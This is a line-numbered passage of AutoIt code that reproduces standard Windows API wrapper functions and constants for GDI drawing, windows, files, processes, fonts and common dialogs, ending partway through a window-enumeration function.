  423.     If @error Then Return SetError(@error, @extended, "")
  424.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  425.     Return $aresult
  426. EndFunc
  427.  
  428. Global $__gainprocess_winapi[64][2] = [[0, 0]]
  429. Global $__gawinlist_winapi[64][2] = [[0, 0]]
  430. Global Const $__winapiconstant_wm_setfont = 48
  431. Global Const $__winapiconstant_fw_normal = 400
  432. Global Const $__winapiconstant_default_charset = 1
  433. Global Const $__winapiconstant_out_default_precis = 0
  434. Global Const $__winapiconstant_clip_default_precis = 0
  435. Global Const $__winapiconstant_default_quality = 0
  436. Global Const $__winapiconstant_format_message_allocate_buffer = 256
  437. Global Const $__winapiconstant_format_message_from_system = 4096
  438. Global Const $__winapiconstant_logpixelsx = 88
  439. Global Const $__winapiconstant_logpixelsy = 90
  440. Global Const $hgdi_error = Ptr(-1)
  441. Global Const $invalid_handle_value = Ptr(-1)
  442. Global Const $clr_invalid = -1
  443. Global Const $__winapiconstant_flashw_caption = 1
  444. Global Const $__winapiconstant_flashw_tray = 2
  445. Global Const $__winapiconstant_flashw_timer = 4
  446. Global Const $__winapiconstant_flashw_timernofg = 12
  447. Global Const $__winapiconstant_gw_hwndnext = 2
  448. Global Const $__winapiconstant_gw_child = 5
  449. Global Const $__winapiconstant_di_mask = 1
  450. Global Const $__winapiconstant_di_image = 2
  451. Global Const $__winapiconstant_di_normal = 3
  452. Global Const $__winapiconstant_di_compat = 4
  453. Global Const $__winapiconstant_di_defaultsize = 8
  454. Global Const $__winapiconstant_di_nomirror = 16
  455. Global Const $__winapiconstant_display_device_attached_to_desktop = 1
  456. Global Const $__winapiconstant_display_device_primary_device = 4
  457. Global Const $__winapiconstant_display_device_mirroring_driver = 8
  458. Global Const $__winapiconstant_display_device_vga_compatible = 16
  459. Global Const $__winapiconstant_display_device_removable = 32
  460. Global Const $__winapiconstant_display_device_modespruned = 134217728
  461. Global Const $null_brush = 5
  462. Global Const $null_pen = 8
  463. Global Const $black_brush = 4
  464. Global Const $dkgray_brush = 3
  465. Global Const $dc_brush = 18
  466. Global Const $gray_brush = 2
  467. Global Const $hollow_brush = $null_brush
  468. Global Const $ltgray_brush = 1
  469. Global Const $white_brush = 0
  470. Global Const $black_pen = 7
  471. Global Const $dc_pen = 19
  472. Global Const $white_pen = 6
  473. Global Const $ansi_fixed_font = 11
  474. Global Const $ansi_var_font = 12
  475. Global Const $device_default_font = 14
  476. Global Const $default_gui_font = 17
  477. Global Const $oem_fixed_font = 10
  478. Global Const $system_font = 13
  479. Global Const $system_fixed_font = 16
  480. Global Const $default_palette = 15
  481. Global Const $mb_precomposed = 1
  482. Global Const $mb_composite = 2
  483. Global Const $mb_useglyphchars = 4
  484. Global Const $ulw_alpha = 2
  485. Global Const $ulw_colorkey = 1
  486. Global Const $ulw_opaque = 4
  487. Global Const $wh_callwndproc = 4
  488. Global Const $wh_callwndprocret = 12
  489. Global Const $wh_cbt = 5
  490. Global Const $wh_debug = 9
  491. Global Const $wh_foregroundidle = 11
  492. Global Const $wh_getmessage = 3
  493. Global Const $wh_journalplayback = 1
  494. Global Const $wh_journalrecord = 0
  495. Global Const $wh_keyboard = 2
  496. Global Const $wh_keyboard_ll = 13
  497. Global Const $wh_mouse = 7
  498. Global Const $wh_mouse_ll = 14
  499. Global Const $wh_msgfilter = -1
  500. Global Const $wh_shell = 10
  501. Global Const $wh_sysmsgfilter = 6
  502. Global Const $wpf_asyncwindowplacement = 4
  503. Global Const $wpf_restoretomaximized = 2
  504. Global Const $wpf_setminposition = 1
  505. Global Const $kf_extended = 256
  506. Global Const $kf_altdown = 8192
  507. Global Const $kf_up = 32768
  508. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  509. Global Const $llkhf_injected = 16
  510. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  511. Global Const $llkhf_up = BitShift($kf_up, 8)
  512. Global Const $ofn_allowmultiselect = 512
  513. Global Const $ofn_createprompt = 8192
  514. Global Const $ofn_dontaddtorecent = 33554432
  515. Global Const $ofn_enablehook = 32
  516. Global Const $ofn_enableincludenotify = 4194304
  517. Global Const $ofn_enablesizing = 8388608
  518. Global Const $ofn_enabletemplate = 64
  519. Global Const $ofn_enabletemplatehandle = 128
  520. Global Const $ofn_explorer = 524288
  521. Global Const $ofn_extensiondifferent = 1024
  522. Global Const $ofn_filemustexist = 4096
  523. Global Const $ofn_forceshowhidden = 268435456
  524. Global Const $ofn_hidereadonly = 4
  525. Global Const $ofn_longnames = 2097152
  526. Global Const $ofn_nochangedir = 8
  527. Global Const $ofn_nodereferencelinks = 1048576
  528. Global Const $ofn_nolongnames = 262144
  529. Global Const $ofn_nonetworkbutton = 131072
  530. Global Const $ofn_noreadonlyreturn = 32768
  531. Global Const $ofn_notestfilecreate = 65536
  532. Global Const $ofn_novalidate = 256
  533. Global Const $ofn_overwriteprompt = 2
  534. Global Const $ofn_pathmustexist = 2048
  535. Global Const $ofn_readonly = 1
  536. Global Const $ofn_shareaware = 16384
  537. Global Const $ofn_showhelp = 16
  538. Global Const $ofn_ex_noplacesbar = 1
  539. Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
  540. Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
  541. Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
  542. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  543. Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
  544.  
  545. Func _winapi_attachconsole($iprocessid = -1)
  546.     Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
  547.     If @error Then Return SetError(@error, @extended, False)
  548.     Return $aresult[0]
  549. EndFunc
  550.  
  551. Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
  552.     Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
  553.     If @error Then Return SetError(@error, @extended, False)
  554.     Return $aresult[0]
  555. EndFunc
  556.  
  557. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  558.     Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  559.     If @error Then Return SetError(@error, @extended, False)
  560.     Return $aresult[0]
  561. EndFunc
  562.  
  563. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  564.     Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  565.     If @error Then Return SetError(@error, @extended, False)
  566.     Return $aresult[0]
  567. EndFunc
  568.  
  569. Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
  570.     Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
  571.     If @error Then Return SetError(@error, @extended, -1)
  572.     Return $aresult[0]
  573. EndFunc
  574.  
  575. Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
  576.     Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
  577.     If @error Then Return SetError(@error, @extended, -1)
  578.     Return $aresult[0]
  579. EndFunc
  580.  
  581. Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
  582.     Local $ppoint = DllStructGetPtr($tpoint)
  583.     DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "ptr", $ppoint)
  584.     Return SetError(@error, @extended, $tpoint)
  585. EndFunc
  586.  
  587. Func _winapi_closehandle($hobject)
  588.     Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  589.     If @error Then Return SetError(@error, @extended, False)
  590.     Return $aresult[0]
  591. EndFunc
  592.  
  593. Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
  594.     Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
  595.     If @error Then Return SetError(@error, @extended, 0)
  596.     Return $aresult[0]
  597. EndFunc
  598.  
  599. Func _winapi_commdlgextendederror()
  600.     Local Const $cderr_dialogfailure = 65535
  601.     Local Const $cderr_findresfailure = 6
  602.     Local Const $cderr_initialization = 2
  603.     Local Const $cderr_loadresfailure = 7
  604.     Local Const $cderr_loadstrfailure = 5
  605.     Local Const $cderr_lockresfailure = 8
  606.     Local Const $cderr_memallocfailure = 9
  607.     Local Const $cderr_memlockfailure = 10
  608.     Local Const $cderr_nohinstance = 4
  609.     Local Const $cderr_nohook = 11
  610.     Local Const $cderr_notemplate = 3
  611.     Local Const $cderr_registermsgfail = 12
  612.     Local Const $cderr_structsize = 1
  613.     Local Const $fnerr_buffertoosmall = 12291
  614.     Local Const $fnerr_invalidfilename = 12290
  615.     Local Const $fnerr_subclassfailure = 12289
  616.     Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
  617.     If @error Then Return SetError(@error, @extended, 0)
  618.     Switch $aresult[0]
  619.         Case $cderr_dialogfailure
  620.             Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
  621.         Case $cderr_findresfailure
  622.             Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
  623.         Case $cderr_initialization
  624.             Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
  625.         Case $cderr_loadresfailure
  626.             Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
  627.         Case $cderr_loadstrfailure
  628.             Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
  629.         Case $cderr_lockresfailure
  630.             Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
  631.         Case $cderr_memallocfailure
  632.             Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
  633.         Case $cderr_memlockfailure
  634.             Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
  635.         Case $cderr_nohinstance
  636.             Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
  637.         Case $cderr_nohook
  638.             Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
  639.         Case $cderr_notemplate
  640.             Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
  641.         Case $cderr_registermsgfail
  642.             Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
  643.         Case $cderr_structsize
  644.             Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
  645.         Case $fnerr_buffertoosmall
  646.             Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
  647.         Case $fnerr_invalidfilename
  648.             Return SetError($aresult[0], 0, "A file name is invalid.")
  649.         Case $fnerr_subclassfailure
  650.             Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
  651.     EndSwitch
  652.     Return Hex($aresult[0])
  653. EndFunc
  654.  
  655. Func _winapi_copyicon($hicon)
  656.     Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  657.     If @error Then Return SetError(@error, @extended, 0)
  658.     Return $aresult[0]
  659. EndFunc
  660.  
  661. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  662.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
  663.     If @error Then Return SetError(@error, @extended, 0)
  664.     Return $aresult[0]
  665. EndFunc
  666.  
  667. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  668.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  669.     If @error Then Return SetError(@error, @extended, 0)
  670.     Return $aresult[0]
  671. EndFunc
  672.  
  673. Func _winapi_createcompatibledc($hdc)
  674.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  675.     If @error Then Return SetError(@error, @extended, 0)
  676.     Return $aresult[0]
  677. EndFunc
  678.  
  679. Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
  680.     Local $snametype = "wstr"
  681.     If $sname = "" Then
  682.         $sname = 0
  683.         $snametype = "ptr"
  684.     EndIf
  685.     Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
  686.     If @error Then Return SetError(@error, @extended, 0)
  687.     Return $aresult[0]
  688. EndFunc
  689.  
  690. Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
  691.     Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
  692.     If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
  693.     If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
  694.     If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
  695.     If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
  696.     If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
  697.     If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
  698.     Switch $icreation
  699.         Case 0
  700.             $icd = $create_new
  701.         Case 1
  702.             $icd = $create_always
  703.         Case 2
  704.             $icd = $open_existing
  705.         Case 3
  706.             $icd = $open_always
  707.         Case 4
  708.             $icd = $truncate_existing
  709.     EndSwitch
  710.     If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
  711.     If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
  712.     If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
  713.     If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
  714.     Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
  715.     If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
  716.     Return $aresult[0]
  717. EndFunc
  718.  
  719. Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
  720.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
  721.     If @error Then Return SetError(@error, @extended, 0)
  722.     Return $aresult[0]
  723. EndFunc
  724.  
  725. Func _winapi_createfontindirect($tlogfont)
  726.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "ptr", DllStructGetPtr($tlogfont))
  727.     If @error Then Return SetError(@error, @extended, 0)
  728.     Return $aresult[0]
  729. EndFunc
  730.  
  731. Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
  732.     Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
  733.     If @error Then Return SetError(@error, @extended, 0)
  734.     Return $aresult[0]
  735. EndFunc
  736.  
  737. Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
  738.     Local $pcommand = 0
  739.     Local $sappnametype = "wstr", $sdirtype = "wstr"
  740.     If $sappname = "" Then
  741.         $sappnametype = "ptr"
  742.         $sappname = 0
  743.     EndIf
  744.     If $scommand <> "" Then
  745.         Local $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
  746.         $pcommand = DllStructGetPtr($tcommand)
  747.         DllStructSetData($tcommand, "Text", $scommand)
  748.     EndIf
  749.     If $sdir = "" Then
  750.         $sdirtype = "ptr"
  751.         $sdir = 0
  752.     EndIf
  753.     Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "ptr", $pcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
  754.     If @error Then Return SetError(@error, @extended, False)
  755.     Return $aresult[0]
  756. EndFunc
  757.  
  758. Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
  759.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
  760.     If @error Then Return SetError(@error, @extended, 0)
  761.     Return $aresult[0]
  762. EndFunc
  763.  
  764. Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
  765.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
  766.     If @error Then Return SetError(@error, @extended, 0)
  767.     Return $aresult[0]
  768. EndFunc
  769.  
  770. Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
  771.     Local $hdc = _winapi_getdc($hwnd)
  772.     Local $hdestdc = _winapi_createcompatibledc($hdc)
  773.     Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  774.     Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
  775.     Local $trect = DllStructCreate($tagrect)
  776.     DllStructSetData($trect, 1, 0)
  777.     DllStructSetData($trect, 2, 0)
  778.     DllStructSetData($trect, 3, $iwidth)
  779.     DllStructSetData($trect, 4, $iheight)
  780.     If $brgb Then
  781.         $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  782.     EndIf
  783.     Local $hbrush = _winapi_createsolidbrush($icolor)
  784.     _winapi_fillrect($hdestdc, DllStructGetPtr($trect), $hbrush)
  785.     If @error Then
  786.         _winapi_deleteobject($hbitmap)
  787.         $hbitmap = 0
  788.     EndIf
  789.     _winapi_deleteobject($hbrush)
  790.     _winapi_releasedc($hwnd, $hdc)
  791.     _winapi_selectobject($hdestdc, $hold)
  792.     _winapi_deletedc($hdestdc)
  793.     If NOT $hbitmap Then Return SetError(1, 0, 0)
  794.     Return $hbitmap
  795. EndFunc
  796.  
  797. Func _winapi_createsolidbrush($ncolor)
  798.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
  799.     If @error Then Return SetError(@error, @extended, 0)
  800.     Return $aresult[0]
  801. EndFunc
  802.  
  803. Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
  804.     If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
  805.     Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
  806.     If @error Then Return SetError(@error, @extended, 0)
  807.     Return $aresult[0]
  808. EndFunc
  809.  
  810. Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
  811.     Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  812.     If @error Then Return SetError(@error, @extended, 0)
  813.     Return $aresult[0]
  814. EndFunc
  815.  
  816. Func _winapi_deletedc($hdc)
  817.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  818.     If @error Then Return SetError(@error, @extended, False)
  819.     Return $aresult[0]
  820. EndFunc
  821.  
  822. Func _winapi_deleteobject($hobject)
  823.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  824.     If @error Then Return SetError(@error, @extended, False)
  825.     Return $aresult[0]
  826. EndFunc
  827.  
  828. Func _winapi_destroyicon($hicon)
  829.     Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  830.     If @error Then Return SetError(@error, @extended, False)
  831.     Return $aresult[0]
  832. EndFunc
  833.  
  834. Func _winapi_destroywindow($hwnd)
  835.     Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
  836.     If @error Then Return SetError(@error, @extended, False)
  837.     Return $aresult[0]
  838. EndFunc
  839.  
  840. Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
  841.     Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
  842.     If @error Then Return SetError(@error, @extended, False)
  843.     Return $aresult[0]
  844. EndFunc
  845.  
  846. Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
  847.     Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
  848.     If @error Then Return SetError(@error, @extended, False)
  849.     Return $aresult[0]
  850. EndFunc
  851.  
  852. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  853.     Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  854.     If @error Then Return SetError(@error, @extended, False)
  855.     Return $aresult[0]
  856. EndFunc
  857.  
  858. Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
  859.     Local $ioptions
  860.     Switch $iflags
  861.         Case 1
  862.             $ioptions = $__winapiconstant_di_mask
  863.         Case 2
  864.             $ioptions = $__winapiconstant_di_image
  865.         Case 3
  866.             $ioptions = $__winapiconstant_di_normal
  867.         Case 4
  868.             $ioptions = $__winapiconstant_di_compat
  869.         Case 5
  870.             $ioptions = $__winapiconstant_di_defaultsize
  871.         Case Else
  872.             $ioptions = $__winapiconstant_di_nomirror
  873.     EndSwitch
  874.     Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
  875.     If @error Then Return SetError(@error, @extended, False)
  876.     Return $aresult[0]
  877. EndFunc
  878.  
  879. Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
  880.     _winapi_moveto($hdc, $ix1, $iy1)
  881.     If @error Then Return SetError(@error, @extended, False)
  882.     _winapi_lineto($hdc, $ix2, $iy2)
  883.     If @error Then Return SetError(@error, @extended, False)
  884.     Return True
  885. EndFunc
  886.  
  887. Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
  888.     Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "ptr", DllStructGetPtr($trect), "uint", $iflags)
  889.     If @error Then Return SetError(@error, @extended, 0)
  890.     Return $aresult[0]
  891. EndFunc
  892.  
  893. Func _winapi_enablewindow($hwnd, $fenable = True)
  894.     Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
  895.     If @error Then Return SetError(@error, @extended, False)
  896.     Return $aresult[0]
  897. EndFunc
  898.  
  899. Func _winapi_enumdisplaydevices($sdevice, $idevnum)
  900.     Local $pname = 0, $iflags = 0, $adevice[5]
  901.     If $sdevice <> "" Then
  902.         Local $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
  903.         $pname = DllStructGetPtr($tname)
  904.         DllStructSetData($tname, "Text", $sdevice)
  905.     EndIf
  906.     Local $tdevice = DllStructCreate($tagdisplay_device)
  907.     Local $pdevice = DllStructGetPtr($tdevice)
  908.     Local $idevice = DllStructGetSize($tdevice)
  909.     DllStructSetData($tdevice, "Size", $idevice)
  910.     DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "ptr", $pname, "dword", $idevnum, "ptr", $pdevice, "dword", 1)
  911.     If @error Then Return SetError(@error, @extended, 0)
  912.     Local $in = DllStructGetData($tdevice, "Flags")
  913.     If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
  914.     If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
  915.     If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
  916.     If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
  917.     If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
  918.     If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
  919.     $adevice[0] = True
  920.     $adevice[1] = DllStructGetData($tdevice, "Name")
  921.     $adevice[2] = DllStructGetData($tdevice, "String")
  922.     $adevice[3] = $iflags
  923.     $adevice[4] = DllStructGetData($tdevice, "ID")
  924.     Return $adevice
  925. EndFunc
  926.  
  927. Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
  928.     __winapi_enumwindowsinit()
  929.     If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
  930.     __winapi_enumwindowschild($hwnd, $fvisible)
  931.     Return $__gawinlist_winapi
  932. EndFunc
  933.  
  934. Func __winapi_enumwindowsadd($hwnd, $sclass = "")
  935.     If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
  936.     $__gawinlist_winapi[0][0] += 1
  937.     Local $icount = $__gawinlist_winapi[0][0]
  938.     If $icount >= $__gawinlist_winapi[0][1] Then
  939.         ReDim $__gawinlist_winapi[$icount + 64][2]
  940.         $__gawinlist_winapi[0][1] += 64
  941.     EndIf
  942.     $__gawinlist_winapi[$icount][0] = $hwnd
  943.     $__gawinlist_winapi[$icount][1] = $sclass
  944. EndFunc
  945.  
  946. Func __winapi_enumwindowschild($hwnd, $fvisible = True)
  947.     $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
  948.     While $hwnd <> 0
  949.         If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
  950.             __winapi_enumwindowschild($hwnd, $fvisible)
  951.             __winapi_enumwindowsadd($hwnd)
  952.         EndIf
  953.         $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  954.     WEnd
  955. EndFunc
  956.  
  957. Func __winapi_enumwindowsinit()
  958.     ReDim $__gawinlist_winapi[64][2]
  959.     $__gawinlist_winapi[0][0] = 0
  960.     $__gawinlist_winapi[0][1] = 64
  961. EndFunc
  962.  
  963. Func _winapi_enumwindowspopup()
  964.     __winapi_enumwindowsinit()
  965.     Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
  966.     Local $sclass
  967.     While $hwnd <> 0
  968.         If _winapi_iswindowvisible($hwnd) Then
  969.             $sclass = _winapi_getclassname($hwnd)
  970.             If $sclass = "#32768" Then
  971.                 __winapi_enumwindowsadd($hwnd)
  972.             ElseIf $sclass = "ToolbarWindow32" Then
  973.                 __winapi_enumwindowsadd($hwnd)
  974.             ElseIf $sclass = "ToolTips_Class32" Then
  975.                 __winapi_enumwindowsadd($hwnd)
  976.             ElseIf $sclass = "BaseBar" Then
  977.                 __winapi_enumwindowschild($hwnd)
  978.             EndIf
  979.         EndIf
  980.         $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  981.     WEnd
  982.     Return $__gawinlist_winapi
  983. EndFunc
  984.  
  985. Func _winapi_enumwindowstop()
  986.     __winapi_enumwindowsinit()
  987.     Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
  988.     While $hwnd <> 0
